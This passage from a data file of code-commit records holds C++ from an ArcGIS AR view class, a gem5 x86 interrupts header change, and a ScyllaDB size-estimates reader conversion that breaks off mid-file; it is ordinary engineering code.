m_sceneView->setAtmosphereEffect(AtmosphereEffect::None);\n  m_sceneView->setManualRendering(true);\n  m_sceneView->setCameraController(m_tmcc);\n\n  connect(m_sceneView, &SceneQuickView::touched, this, [this](QTouchEvent& event)\n  {\n    setInitialTransformation(event.touchPoints().first().lastScreenPos().toPoint());\n  });\n\n  emit sceneViewChanged();\n}\n\n\/*!\n  \\brief Sets the initial transformation used to offset the \\l originCamera.\n\n  The initial transformation is based on an AR point determined via existing plane hit detection\n  from `screenPoint`. If an AR point cannot be determined, this method will return \\c false.\n\n  \\list\n    \\li \\a screenPoint - The screen point to determine the initialTransformation from.\n  \\endlist\n *\/\nvoid ArcGISArView::setInitialTransformation(const QPoint& screenPoint)\n{\n  \/\/ Use the `hitTestInternal` method to get the matrix of `screenPoint`.\n  const std::array<double, 7> hitResult = hitTestInternal(screenPoint.x(), screenPoint.y());\n  \/\/ quaternionW can never be 0, this indicates an error occurred\n  if (hitResult[3] == 0)\n    return;\n\n  \/\/ Set the `initialTransformation` as the AGSTransformationMatrix.identity - hit test matrix.\n  const auto hitMatrix = std::unique_ptr<TransformationMatrix>(\n        TransformationMatrix::createWithQuaternionAndTranslation(0.0, 0.0, 0.0, 1.0, hitResult[4], hitResult[5], hitResult[6]));\n  Q_CHECK_PTR(hitMatrix.get());\n\n  m_initialTransformation = TransformationMatrix::createIdentityMatrix()->subtractTransformation(hitMatrix.get(), this);\n  Q_CHECK_PTR(m_initialTransformation);\n}\n\n\/*!\n  \\brief Gets the location in the real world space corresponding to the screen\n   point \\a screenPoint.\n *\/\nPoint ArcGISArView::screenToLocation(const QPoint& screenPoint) const\n{\n  if (!m_sceneView)\n    return Point();\n\n  const std::array<double, 7> hitResult = hitTestInternal(screenPoint.x(), screenPoint.y());\n  if (hitResult[0] == 0)\n    return Point();\n\n  auto hitMatrix = std::unique_ptr<TransformationMatrix>(\n        TransformationMatrix::createWithQuaternionAndTranslation(\n          hitResult[0], hitResult[1], hitResult[2], hitResult[3], hitResult[4], hitResult[5], hitResult[6]));\n\n  auto currentViewpointMatrix = std::unique_ptr<TransformationMatrix>(\n        m_sceneView->currentViewpointCamera().transformationMatrix());\n\n  auto finalMatrix = std::unique_ptr<TransformationMatrix>(currentViewpointMatrix->addTransformation(hitMatrix.get()));\n  return Camera(finalMatrix.get()).location();\n}\n\n\/*!\n  \\brief Register the QML-creatable types provided by QR toolkit.\n\n  This static function registers the QML types \\l ArcGISArView and\n  \\c LocationDataSource in the QML engine.\n  This function must be called before using the QML types.\n *\/\nvoid ArcGISArView::qmlRegisterTypes()\n{\n  qmlRegisterType<Esri::ArcGISRuntime::Toolkit::ArcGISArView>(\"Esri.ArcGISArToolkit\", 1, 0, \"ArcGISArView\");\n  qmlRegisterType<Esri::ArcGISRuntime::Toolkit::LocationDataSource>(\"Esri.ArcGISArToolkit\", 1, 0, \"LocationDataSource\");\n}\n\n\/*!\n  \\internal\n *\/\nvoid ArcGISArView::setTransformationMatrixInternal(double quaternionX, double quaternionY, double quaternionZ, double quaternionW,\n                                                   double translationX, double translationY, double translationZ)\n{\n  auto matrix = std::unique_ptr<TransformationMatrix>(TransformationMatrix::createWithQuaternionAndTranslation(\n                                                        quaternionX, quaternionY, quaternionZ, quaternionW,\n                                                        translationX, translationY, translationZ));\n  Q_CHECK_PTR(matrix.get());\n  Q_CHECK_PTR(m_initialTransformation);\n  auto finalMatrix = std::unique_ptr<TransformationMatrix>(m_initialTransformation->addTransformation(matrix.get()));\n\n  Q_CHECK_PTR(m_tmcc);\n  m_tmcc->setTransformationMatrix(finalMatrix.get());\n}\n\n\/*!\n  \\internal\n *\/\nvoid ArcGISArView::setFieldOfViewInternal(double xFocalLength, double yFocalLength,\n                                          double xPrincipal, double yPrincipal,\n                                          double xImageSize, double yImageSize)\n{\n  if (!m_sceneView)\n    return;\n\n  \/\/ get the screen orientation\n  const Qt::ScreenOrientations orientation = window()->screen()->orientation();\n  const DeviceOrientation deviceOrientation = toDeviceOrientation(orientation);\n\n  \/\/ set the field of view\n  m_sceneView->setFieldOfViewFromLensIntrinsics(xFocalLength, yFocalLength, xPrincipal, yPrincipal,\n                                                xImageSize, yImageSize, deviceOrientation);\n}\n\n\/*!\n  \\internal\n *\/\nvoid ArcGISArView::renderFrameInternal()\n{\n  if (!m_sceneView)\n    return;\n\n  m_sceneView->renderFrame();\n}\n\n\/*!\n  \\internal\n *\/\nvoid ArcGISArView::setTranslationFactorInternal(double translationFactor)\n{\n  m_tmcc->setTranslationFactor(translationFactor);\n}\n\n\/*!\n  \\internal\n *\/\nvoid ArcGISArView::setLocationInternal(double latitude, double longitude, double altitude)\n{\n  if (m_tmcc->originCamera().isEmpty())\n  {\n    \/\/ create a new origin camera\n    m_tmcc->setOriginCamera(Camera(latitude, longitude, altitude, 0.0, 90.0, 0.0));\n  }\n  else\n  {\n    \/\/ update the origin camera\n    const Camera oldCamera = m_tmcc->originCamera();\n    m_tmcc->setOriginCamera(Camera(latitude, longitude, altitude, oldCamera.heading(), 90.0, 0.0));\n  }\n\n  m_tmcc->setTransformationMatrix(TransformationMatrix::createIdentityMatrix(this));\n}\n\n\/*!\n  \\internal\n *\/\nvoid ArcGISArView::setHeadingInternal(double heading)\n{\n  if (m_tmcc->originCamera().isEmpty())\n  {\n    \/\/ create a new origin camera\n    m_tmcc->setOriginCamera(Camera(0.0, 0.0, 0.0, heading, 90.0, 0.0));\n  }\n  else\n  {\n    \/\/ update the origin camera\n    const Point oldLocation = m_tmcc->originCamera().location();\n    m_tmcc->setOriginCamera(Camera(oldLocation.y(), oldLocation.x(), oldLocation.z(), heading, 90.0, 0.0));\n  }\n  m_tmcc->setTransformationMatrix(TransformationMatrix::createIdentityMatrix(this));\n}\n\n\/*!\n  \\internal\n\n  Resets the device tracking and related properties.\n *\/\nvoid ArcGISArView::resetTrackingInternal()\n{\n  setOriginCamera(Camera());\n\n  m_initialTransformation = TransformationMatrix::createIdentityMatrix(this);\n\n  m_tmcc->setTransformationMatrix(m_initialTransformation);\n}\n\n\/*!\n  \\internal\n\n  Cast from Qt's screen orientation to ArcGIS Runtime's screen orientation.\n *\/\nDeviceOrientation ArcGISArView::toDeviceOrientation(Qt::ScreenOrientations orientation)\n{\n  switch (orientation)\n  {\n    case Qt::PortraitOrientation:\n      return DeviceOrientation::Portrait;\n    case Qt::LandscapeOrientation:\n      return DeviceOrientation::LandscapeRight;\n    case Qt::InvertedPortraitOrientation:\n      return DeviceOrientation::ReversePortrait;\n    case Qt::InvertedLandscapeOrientation:\n      return DeviceOrientation::LandscapeLeft;\n    default:\n      return DeviceOrientation::Portrait;\n  }\n}\n\n\/\/ signals\n\n\/*!\n  \\fn void ArcGISArView::originCameraChanged();\n  \\brief Signal emitted when the \\l originCamera property changes.\n *\/\n\n\/*!\n  \\fn void ArcGISArView::sceneViewChanged();\n  \\brief Signal emitted when the \\l sceneView property changes.\n *\/\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2007 The Hewlett-Packard Development Company\n * All rights reserved.\n *\n * Redistribution and use of this software in source and binary forms,\n * with or without modification, are permitted provided that the\n * following conditions are met:\n *\n * The software must be used only for Non-Commercial Use which means any\n * use which is NOT directed to receiving any direct monetary\n * compensation for, or commercial advantage from such use.  Illustrative\n * examples of non-commercial use are academic research, personal study,\n * teaching, education and corporate research & development.\n * Illustrative examples of commercial use are distributing products for\n * commercial advantage and providing services using the software for\n * commercial advantage.\n *\n * If you wish to use this software or functionality therein that may be\n * covered by patents for commercial use, please contact:\n *     Director of Intellectual Property Licensing\n *     Office of Strategy and Technology\n *     Hewlett-Packard Company\n *     1501 Page Mill Road\n *     Palo Alto, California  94304\n *\n * Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.  Redistributions\n * in binary form must reproduce the above copyright notice, this list of\n * conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.  Neither the name of\n * the COPYRIGHT HOLDER(s), HEWLETT-PACKARD COMPANY, nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.  No right of\n * sublicense is granted herewith.  Derivatives of the software and\n * output created using the software may be prepared, but only for\n * Non-Commercial Uses.  Derivatives of the software may be shared with\n * others provided: (i) the others agree to abide by the list of\n * conditions herein which includes the Non-Commercial Use restrictions;\n * and (ii) such Derivatives of the software include the above copyright\n * notice to acknowledge the contribution from this software where\n * applicable, this list of conditions and the disclaimer below.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Gabe Black\n *\/\n\n#ifndef __ARCH_X86_INTERRUPTS_HH__\n#define __ARCH_X86_INTERRUPTS_HH__\n\n#include \"arch\/x86\/faults.hh\"\n#include \"cpu\/thread_context.hh\"\n\nnamespace X86ISA\n{\n\nclass Interrupts\n{\n  public:\n    Interrupts()\n    {\n        clear_all();\n    }\n\n    int InterruptLevel(uint64_t softint)\n    {\n        panic(\"Interrupts::InterruptLevel unimplemented!\\n\");\n        return 0;\n    }\n\n    void post(int int_num, int index)\n    {\n        panic(\"Interrupts::post unimplemented!\\n\");\n    }\n\n    void clear(int int_num, int index)\n    {\n        panic(\"Interrupts::clear unimplemented!\\n\");\n    }\n\n    void clear_all()\n    {\n        warn(\"Interrupts::clear_all unimplemented!\\n\");\n    }\n\n    bool check_interrupts(ThreadContext * tc) const\n    {\n        panic(\"Interrupts::check_interrupts unimplemented!\\n\");\n        return false;\n    }\n\n    Fault getInterrupt(ThreadContext * tc)\n    {\n        panic(\"Interrupts::getInterrupt unimplemented!\\n\");\n        return NoFault;\n    }\n\n    void updateIntrInfo(ThreadContext * tc)\n    {\n        panic(\"Interrupts::updateIntrInfo unimplemented!\\n\");\n    }\n\n    uint64_t get_vec(int int_num)\n    {\n        panic(\"Interrupts::get_vec unimplemented!\\n\");\n        return 0;\n    }\n\n    void serialize(std::ostream & os)\n    {\n        panic(\"Interrupts::serialize unimplemented!\\n\");\n    }\n\n    void unserialize(Checkpoint * cp, const std::string & section)\n    {\n        panic(\"Interrupts::unserialize unimplemented!\\n\");\n    }\n};\n\n};\n\n#endif \/\/ __ARCH_X86_INTERRUPTS_HH__\n<commit_msg>X86: Make the Interrupts class complain less.<commit_after>\/*\n * Copyright (c) 2007 The Hewlett-Packard Development Company\n * All rights reserved.\n *\n * Redistribution and use of this software in source and binary forms,\n * with or without modification, are permitted provided that the\n * following conditions are met:\n *\n * The software must be used only for Non-Commercial Use which means any\n * use which is NOT directed to receiving any direct monetary\n * compensation for, or commercial advantage from such use.  Illustrative\n * examples of non-commercial use are academic research, personal study,\n * teaching, education and corporate research & development.\n * Illustrative examples of commercial use are distributing products for\n * commercial advantage and providing services using the software for\n * commercial advantage.\n *\n * If you wish to use this software or functionality therein that may be\n * covered by patents for commercial use, please contact:\n *     Director of Intellectual Property Licensing\n *     Office of Strategy and Technology\n *     Hewlett-Packard Company\n *     1501 Page Mill Road\n *     Palo Alto, California  94304\n *\n * Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.  Redistributions\n * in binary form must reproduce the above copyright notice, this list of\n * conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.  Neither the name of\n * the COPYRIGHT HOLDER(s), HEWLETT-PACKARD COMPANY, nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.  No right of\n * sublicense is granted herewith.  Derivatives of the software and\n * output created using the software may be prepared, but only for\n * Non-Commercial Uses.  Derivatives of the software may be shared with\n * others provided: (i) the others agree to abide by the list of\n * conditions herein which includes the Non-Commercial Use restrictions;\n * and (ii) such Derivatives of the software include the above copyright\n * notice to acknowledge the contribution from this software where\n * applicable, this list of conditions and the disclaimer below.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Gabe Black\n *\/\n\n#ifndef __ARCH_X86_INTERRUPTS_HH__\n#define __ARCH_X86_INTERRUPTS_HH__\n\n#include \"arch\/x86\/faults.hh\"\n#include \"cpu\/thread_context.hh\"\n\nnamespace X86ISA\n{\n\nclass Interrupts\n{\n  public:\n    Interrupts()\n    {\n        clear_all();\n    }\n\n    int InterruptLevel(uint64_t softint)\n    {\n        panic(\"Interrupts::InterruptLevel unimplemented!\\n\");\n        return 0;\n    }\n\n    void post(int int_num, int index)\n    {\n        panic(\"Interrupts::post unimplemented!\\n\");\n    }\n\n    void clear(int int_num, int index)\n    {\n        warn(\"Interrupts::clear unimplemented!\\n\");\n    }\n\n    void clear_all()\n    {\n        warn(\"Interrupts::clear_all unimplemented!\\n\");\n    }\n\n    bool check_interrupts(ThreadContext * tc) const\n    {\n        return false;\n    }\n\n    Fault getInterrupt(ThreadContext * tc)\n    {\n        return NoFault;\n    }\n\n    void updateIntrInfo(ThreadContext * tc)\n    {\n        panic(\"Interrupts::updateIntrInfo unimplemented!\\n\");\n    }\n\n    uint64_t get_vec(int int_num)\n    {\n        panic(\"Interrupts::get_vec unimplemented!\\n\");\n        return 0;\n    }\n\n    void serialize(std::ostream & os)\n    {\n        panic(\"Interrupts::serialize unimplemented!\\n\");\n    }\n\n    void unserialize(Checkpoint * cp, const std::string & section)\n    {\n        panic(\"Interrupts::unserialize unimplemented!\\n\");\n    }\n};\n\n};\n\n#endif \/\/ __ARCH_X86_INTERRUPTS_HH__\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2016 ScyllaDB\n *\n * Modified by ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <boost\/range\/adaptor\/indirected.hpp>\n#include <boost\/range\/adaptor\/map.hpp>\n#include <boost\/range\/adaptor\/transformed.hpp>\n#include <boost\/range\/algorithm\/find_if.hpp>\n\n#include \"clustering_bounds_comparator.hh\"\n#include \"database.hh\"\n#include \"db\/system_keyspace.hh\"\n#include \"dht\/i_partitioner.hh\"\n#include \"mutation_reader.hh\"\n#include \"partition_range_compat.hh\"\n#include \"range.hh\"\n#include \"service\/storage_service.hh\"\n#include \"stdx.hh\"\n#include \"streamed_mutation.hh\"\n#include \"sstables\/sstables.hh\"\n\nnamespace db {\n\nnamespace size_estimates {\n\nclass size_estimates_mutation_reader final : public mutation_reader::impl {\n    struct token_range {\n        bytes start;\n        bytes end;\n    };\n    schema_ptr _schema;\n    const dht::partition_range& _prange;\n    const query::partition_slice& _slice;\n    using ks_range = std::vector<sstring>;\n    stdx::optional<ks_range> _keyspaces;\n    ks_range::const_iterator _current_partition;\n    streamed_mutation::forwarding _fwd;\npublic:\n    size_estimates_mutation_reader(schema_ptr schema, const dht::partition_range& prange, const query::partition_slice& slice, streamed_mutation::forwarding fwd)\n            : _schema(schema)\n            , _prange(prange)\n            , _slice(slice)\n            , _fwd(fwd)\n    { }\n\n    virtual future<streamed_mutation_opt> operator()() override {\n        \/\/ For each specified range, estimate (crudely) mean partition size and partitions count.\n        auto& db = service::get_local_storage_proxy().get_db().local();\n        if (!_keyspaces) {\n            _keyspaces = get_keyspaces(*_schema, db, _prange);\n            _current_partition = _keyspaces->begin();\n        }\n        if (_current_partition == _keyspaces->end()) {\n            return make_ready_future<streamed_mutation_opt>();\n        }\n        return get_local_ranges().then([&db, this] (auto&& ranges) {\n            auto estimates = this->estimates_for_current_keyspace(db, std::move(ranges));\n            auto mutations = db::system_keyspace::make_size_estimates_mutation(*_current_partition, std::move(estimates));\n            ++_current_partition;\n            return streamed_mutation_opt(streamed_mutation_from_mutation(std::move(mutations), _fwd));\n        });\n    }\n    \/**\n     * Returns the primary ranges for the local node.\n     * Used for testing as well.\n     *\/\n    static future<std::vector<token_range>> get_local_ranges() {\n        auto& ss = service::get_local_storage_service();\n        return ss.get_local_tokens().then([&ss] (auto&& tokens) {\n            auto ranges = ss.get_token_metadata().get_primary_ranges_for(std::move(tokens));\n            std::vector<token_range> local_ranges;\n            auto to_bytes = [](const stdx::optional<dht::token_range::bound>& b) {\n                assert(b);\n                return utf8_type->decompose(dht::global_partitioner().to_sstring(b->value()));\n            };\n            \/\/ We merge the ranges to be compatible with how Cassandra shows it's size estimates table.\n            \/\/ All queries will be on that table, where all entries are text and there's no notion of\n            \/\/ token ranges form the CQL point of view.\n            auto left_inf = boost::find_if(ranges, [] (auto&& r) {\n                return !r.start() || r.start()->value() == dht::minimum_token();\n            });\n            auto right_inf = boost::find_if(ranges, [] (auto&& r) {\n                return !r.end() || r.start()->value() == dht::maximum_token();\n            });\n            if (left_inf != right_inf && left_inf != ranges.end() && right_inf != ranges.end()) {\n                local_ranges.push_back(token_range{to_bytes(right_inf->start()), to_bytes(left_inf->end())});\n                ranges.erase(left_inf);\n                ranges.erase(right_inf);\n            }\n            for (auto&& r : ranges) {\n                local_ranges.push_back(token_range{to_bytes(r.start()), to_bytes(r.end())});\n            }\n            boost::sort(local_ranges, [] (auto&& tr1, auto&& tr2) {\n                return utf8_type->less(tr1.start, tr2.start);\n            });\n            return local_ranges;\n        });\n    }\nprivate:\n    struct virtual_row {\n        const bytes& cf_name;\n        const token_range& tokens;\n        clustering_key_prefix as_key() const {\n            return clustering_key_prefix::from_exploded(std::vector<bytes_view>{cf_name, tokens.start, tokens.end});\n        }\n    };\n    struct virtual_row_comparator {\n        schema_ptr _schema;\n        virtual_row_comparator(schema_ptr schema) : _schema(schema) { }\n        bool operator()(const clustering_key_prefix& key1, const clustering_key_prefix& key2) {\n            return clustering_key_prefix::prefix_equality_less_compare(*_schema)(key1, key2);\n        }\n        bool operator()(const virtual_row& row, const clustering_key_prefix& key) {\n            return operator()(row.as_key(), key);\n        }\n        bool operator()(const clustering_key_prefix& key, const virtual_row& row) {\n            return operator()(key, row.as_key());\n        }\n    };\n    class virtual_row_iterator : public std::iterator<std::input_iterator_tag, const virtual_row> {\n        std::reference_wrapper<const std::vector<bytes>> _cf_names;\n        std::reference_wrapper<const std::vector<token_range>> _ranges;\n        size_t _cf_names_idx = 0;\n        size_t _ranges_idx = 0;\n    public:\n        struct end_iterator_tag {};\n        virtual_row_iterator(const std::vector<bytes>& cf_names, const std::vector<token_range>& ranges)\n                : _cf_names(std::ref(cf_names))\n                , _ranges(std::ref(ranges))\n        { }\n        virtual_row_iterator(const std::vector<bytes>& cf_names, const std::vector<token_range>& ranges, end_iterator_tag)\n                : _cf_names(std::ref(cf_names))\n                , _ranges(std::ref(ranges))\n                , _cf_names_idx(cf_names.size())\n                , _ranges_idx(ranges.size())\n        { }\n        virtual_row_iterator& operator++() {\n            if (++_ranges_idx == _ranges.get().size() && ++_cf_names_idx < _cf_names.get().size()) {\n                _ranges_idx = 0;\n            }\n            return *this;\n        }\n        virtual_row_iterator operator++(int) {\n            virtual_row_iterator i(*this);\n            ++(*this);\n            return i;\n        }\n        const value_type operator*() const {\n            return { _cf_names.get()[_cf_names_idx], _ranges.get()[_ranges_idx] };\n        }\n        bool operator==(const virtual_row_iterator& i) const {\n            return _cf_names_idx == i._cf_names_idx\n                && _ranges_idx == i._ranges_idx;\n        }\n        bool operator!=(const virtual_row_iterator& i) const {\n            return !(*this == i);\n        }\n    };\n\n    std::vector<db::system_keyspace::range_estimates>\n    estimates_for_current_keyspace(const database& db, std::vector<token_range> local_ranges) const {\n        auto pkey = partition_key::from_single_value(*_schema, utf8_type->decompose(*_current_partition));\n        auto cfs = db.find_keyspace(*_current_partition).metadata()->cf_meta_data();\n        auto cf_names = boost::copy_range<std::vector<bytes>>(cfs | boost::adaptors::transformed([] (auto&& cf) {\n            return utf8_type->decompose(cf.first);\n        }));\n        boost::sort(cf_names, [] (auto&& n1, auto&& n2) {\n            return utf8_type->less(n1, n2);\n        });\n        std::vector<db::system_keyspace::range_estimates> estimates;\n        for (auto& range : _slice.row_ranges(*_schema, pkey)) {\n            auto rows = boost::make_iterator_range(\n                    virtual_row_iterator(cf_names, local_ranges),\n                    virtual_row_iterator(cf_names, local_ranges, virtual_row_iterator::end_iterator_tag()));\n            auto rows_to_estimate = range.slice(rows, virtual_row_comparator(_schema));\n            for (auto&& r : rows_to_estimate) {\n                auto& cf = db.find_column_family(*_current_partition, utf8_type->to_string(r.cf_name));\n                estimates.push_back(estimate(cf, r.tokens));\n                if (estimates.size() >= _slice.partition_row_limit()) {\n                    return estimates;\n                }\n            }\n        }\n        return estimates;\n    }\n\n    \/**\n     * Returns the keyspaces, ordered by name, as selected by the partition_range.\n     *\/\n    static ks_range get_keyspaces(const schema& s, const database& db, dht::partition_range range) {\n        struct keyspace_less_comparator {\n            const schema& _s;\n            keyspace_less_comparator(const schema& s) : _s(s) { }\n            dht::ring_position as_ring_position(const sstring& ks) {\n                auto pkey = partition_key::from_single_value(_s, utf8_type->decompose(ks));\n                return dht::global_partitioner().decorate_key(_s, std::move(pkey));\n            }\n            bool operator()(const sstring& ks1, const sstring& ks2) {\n                return as_ring_position(ks1).less_compare(_s, as_ring_position(ks2));\n            }\n            bool operator()(const sstring& ks, const dht::ring_position& rp) {\n                return as_ring_position(ks).less_compare(_s, rp);\n            }\n            bool operator()(const dht::ring_position& rp, const sstring& ks) {\n                return rp.less_compare(_s, as_ring_position(ks));\n            }\n        };\n        auto keyspaces = db.get_non_system_keyspaces();\n        auto cmp = keyspace_less_comparator(s);\n        boost::sort(keyspaces, cmp);\n        return boost::copy_range<ks_range>(range.slice(keyspaces, std::move(cmp)));\n    }\n\n    \/**\n     * Makes a wrapping range of ring_position from a nonwrapping range of token, used to select sstables.\n     *\/\n    static dht::partition_range as_ring_position_range(dht::token_range& r) {\n        stdx::optional<range<dht::ring_position>::bound> start_bound, end_bound;\n        if (r.start()) {\n            start_bound = {{ dht::ring_position(r.start()->value(), dht::ring_position::token_bound::start), r.start()->is_inclusive() }};\n        }\n        if (r.end()) {\n            end_bound = {{ dht::ring_position(r.end()->value(), dht::ring_position::token_bound::end), r.end()->is_inclusive() }};\n        }\n        return dht::partition_range(std::move(start_bound), std::move(end_bound), r.is_singular());\n    }\n\n    \/**\n     * Add a new range_estimates for the specified range, considering the sstables associated with `cf`.\n     *\/\n    static system_keyspace::range_estimates estimate(const column_family& cf, const token_range& r) {\n        int64_t count{0};\n        utils::estimated_histogram hist{0};\n        auto from_bytes = [] (auto& b) {\n            return dht::global_partitioner().from_sstring(utf8_type->to_string(b));\n        };\n        dht::token_range_vector ranges;\n        compat::unwrap_into(\n            wrapping_range<dht::token>({{ from_bytes(r.start) }}, {{ from_bytes(r.end) }}),\n            dht::token_comparator(),\n            [&] (auto&& rng) { ranges.push_back(std::move(rng)); });\n        for (auto&& r : ranges) {\n            auto rp_range = as_ring_position_range(r);\n            for (auto&& sstable : cf.select_sstables(rp_range)) {\n                count += sstable->estimated_keys_for_range(r);\n                hist.merge(sstable->get_stats_metadata().estimated_row_size);\n            }\n        }\n        return {cf.schema(), r.start, r.end, count, count > 0 ? hist.mean() : 0};\n    }\n};\n\nstruct virtual_reader {\n    mutation_reader operator()(schema_ptr schema,\n            const dht::partition_range& range,\n            const query::partition_slice& slice,\n            const io_priority_class& pc,\n            tracing::trace_state_ptr trace_state,\n            streamed_mutation::forwarding fwd,\n            mutation_reader::forwarding fwd_mr) {\n        return make_mutation_reader<size_estimates_mutation_reader>(schema, range, slice, fwd);\n    }\n};\n\n} \/\/ namespace size_estimates\n\n} \/\/ namespace db\n<commit_msg>size_estimates: convert reader to flat mutation readers<commit_after>\/*\n * Copyright (C) 2016 ScyllaDB\n *\n * Modified by ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <boost\/range\/adaptor\/indirected.hpp>\n#include <boost\/range\/adaptor\/map.hpp>\n#include <boost\/range\/adaptor\/transformed.hpp>\n#include <boost\/range\/algorithm\/find_if.hpp>\n\n#include \"clustering_bounds_comparator.hh\"\n#include \"database.hh\"\n#include \"db\/system_keyspace.hh\"\n#include \"dht\/i_partitioner.hh\"\n#include \"mutation_reader.hh\"\n#include \"partition_range_compat.hh\"\n#include \"range.hh\"\n#include \"service\/storage_service.hh\"\n#include \"stdx.hh\"\n#include \"streamed_mutation.hh\"\n#include \"sstables\/sstables.hh\"\n\nnamespace db {\n\nnamespace size_estimates {\n\nclass size_estimates_mutation_reader final : public flat_mutation_reader::impl {\n    struct token_range {\n        bytes start;\n        bytes end;\n    };\n    schema_ptr _schema;\n    const dht::partition_range* _prange;\n    const query::partition_slice& _slice;\n    using ks_range = std::vector<sstring>;\n    stdx::optional<ks_range> _keyspaces;\n    ks_range::const_iterator _current_partition;\n    streamed_mutation::forwarding _fwd;\n    flat_mutation_reader_opt _partition_reader;\npublic:\n    size_estimates_mutation_reader(schema_ptr schema, const dht::partition_range& prange, const query::partition_slice& slice, streamed_mutation::forwarding fwd)\n            : impl(schema)\n            , _schema(std::move(schema))\n            , _prange(&prange)\n            , _slice(slice)\n            , _fwd(fwd)\n    { }\n\nprivate:\n    future<> get_next_partition() {\n        \/\/ For each specified range, estimate (crudely) mean partition size and partitions count.\n        auto& db = service::get_local_storage_proxy().get_db().local();\n        if (!_keyspaces) {\n            _keyspaces = get_keyspaces(*_schema, db, *_prange);\n            _current_partition = _keyspaces->begin();\n        }\n        if (_current_partition == _keyspaces->end()) {\n            _end_of_stream = true;\n            return make_ready_future<>();\n        }\n        return get_local_ranges().then([&db, this] (auto&& ranges) {\n            auto estimates = this->estimates_for_current_keyspace(db, std::move(ranges));\n            auto mutations = db::system_keyspace::make_size_estimates_mutation(*_current_partition, std::move(estimates));\n            ++_current_partition;\n            std::vector<mutation> ms;\n            ms.emplace_back(std::move(mutations));\n            _partition_reader = flat_mutation_reader_from_mutations(std::move(ms), _fwd);\n        });\n    }\npublic:\n    virtual future<> fill_buffer() override {\n        return do_until([this] { return is_end_of_stream() || is_buffer_full(); }, [this] {\n            if (!_partition_reader) {\n                return get_next_partition();\n            }\n            return _partition_reader->consume_pausable([this] (mutation_fragment mf) {\n                push_mutation_fragment(std::move(mf));\n                return stop_iteration(is_buffer_full());\n            }).then([this] {\n                if (_partition_reader->is_end_of_stream() && _partition_reader->is_buffer_empty()) {\n                    _partition_reader = stdx::nullopt;\n                }\n            });\n        });\n    }\n    virtual void next_partition() override {\n        clear_buffer_to_next_partition();\n        if (is_buffer_empty()) {\n            _partition_reader = stdx::nullopt;\n        }\n    }\n    virtual future<> fast_forward_to(const dht::partition_range& pr) override {\n        clear_buffer();\n        _prange = &pr;\n        _keyspaces = stdx::nullopt;\n        _partition_reader = stdx::nullopt;\n        _end_of_stream = false;\n        return make_ready_future<>();\n    }\n    virtual future<> fast_forward_to(position_range pr) override {\n        forward_buffer_to(pr.start());\n        _end_of_stream = false;\n        if (_partition_reader) {\n            return _partition_reader->fast_forward_to(std::move(pr));\n        }\n        return make_ready_future<>();\n    }\n    \/**\n     * Returns the primary ranges for the local 